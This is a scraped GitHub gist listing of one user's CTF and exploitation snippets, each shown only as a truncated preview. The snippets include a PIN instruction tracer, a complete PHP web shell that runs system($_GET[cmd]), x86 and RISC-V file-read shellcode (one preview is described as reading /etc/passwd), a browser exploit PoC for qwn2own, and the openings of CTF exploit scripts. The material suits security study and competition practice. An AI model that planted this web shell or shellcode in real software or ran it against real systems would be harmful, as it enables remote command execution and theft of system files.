Skip to content

Instantly share code, notes, and snippets.

@Jinmo
Jinmo / MoveTracer.cpp
Created May 29, 2015 19:40
PIN Simple "MOV"Tracer
#include "pin.H"
#include <stdio.h>
FILE *out_fp;
VOID TraceMove(VOID *addr) {
fprintf(out_fp, "%p: MOV Here!\n", addr);
}
VOID INSAnalysis(INS ins, VOID *v) {
if (INS_Opcode(ins) == XED_ICLASS_MOV)
<?php
echo 'Shell launched!\n';
system($_GET[cmd]);
?>
@Jinmo
Jinmo / readfile_x86.s
Created December 12, 2015 09:55
x86 read file
jmp a
b:
pop ebx
xor ecx, ecx
xor edx, edx
lea eax, [ecx+5]
int 0x80
xchg eax, ecx
mov al, 187
lea ebx, [edx+1]
@Jinmo
Jinmo / riscv-readfile.s
Last active December 23, 2015 04:54
RISCV file read and encryption (4byte xor, for flag length)
# file read shellcode
# riscv
# - buffer: pc + 0x100, must be writable
# - if you want, you can change it
# compile:
# export PATH=$PATH:/opt/riscv/bin
# riscv64-unknown-elf-as code.s -o code.o
# riscv64-unknown-elf-objcopy --dump-section .text=code.dump code.o
# output: code.dump
@Jinmo
Jinmo / poc.html
Created March 30, 2016 18:05
BKP qwn2own
<html>
<head>
<script type="text/javascript">
function qs(addr, read) {
var s = '';
var i;
var c = 0;
for(i = 0; i < 50; i++) {
c = (read(addr + i - 2) >> 16) & 0xff;
if(c == 0) return s;
function check_space {
if [[ $1 == *[bdks';''&'' ']* ]]
then
return 0
fi
return 1
}
while :
@Jinmo
Jinmo / socat.c
Last active May 31, 2016 08:27
소켓 데몬 너무 디버깅하기 싫어서 만든 별것 아닌 것
#include <sys/socket.h>
#include <sys/types.h>
#include <arpa/inet.h>
#include <strings.h>
#include <stdio.h>
#include <unistd.h>
int main(int argc, char **argv, char **envp) {
char buf[256];
int sockfd = socket(2, 1, 0);
@Jinmo
Jinmo / read.s
Created July 25, 2016 18:00
x86 /etc/passwd read shellcode 48bytes
.intel_syntax noprefix
.globl _start
_start:
xor ecx, ecx
mul ecx
push ecx
push 0x64777373
push 0x61702f63
push 0x74652f2f
mov al, 5
@Jinmo
Jinmo / mario.py
Created December 31, 2016 09:25
33c3 mario
import itertools
import struct
# Rotate left: 0b1001 --> 0b0011
rol = lambda val, r_bits, max_bits: \
(val << r_bits%max_bits) & (2**max_bits-1) | \
((val & (2**max_bits-1)) >> (max_bits-(r_bits%max_bits)))
# Rotate right: 0b1001 --> 0b1100
ror = lambda val, r_bits, max_bits: \
@Jinmo
Jinmo / drawdrawdraw.py
Created July 20, 2016 04:43
drawdrawdraw exploit on XCTF Finals 2016
from transaction_pb2 import Transaction, Reply, Command
from rc4 import RC4 # https://github.com/bozhu/RC4-Python
import socket
import hexdump
import random
import struct
import telnetlib
import sys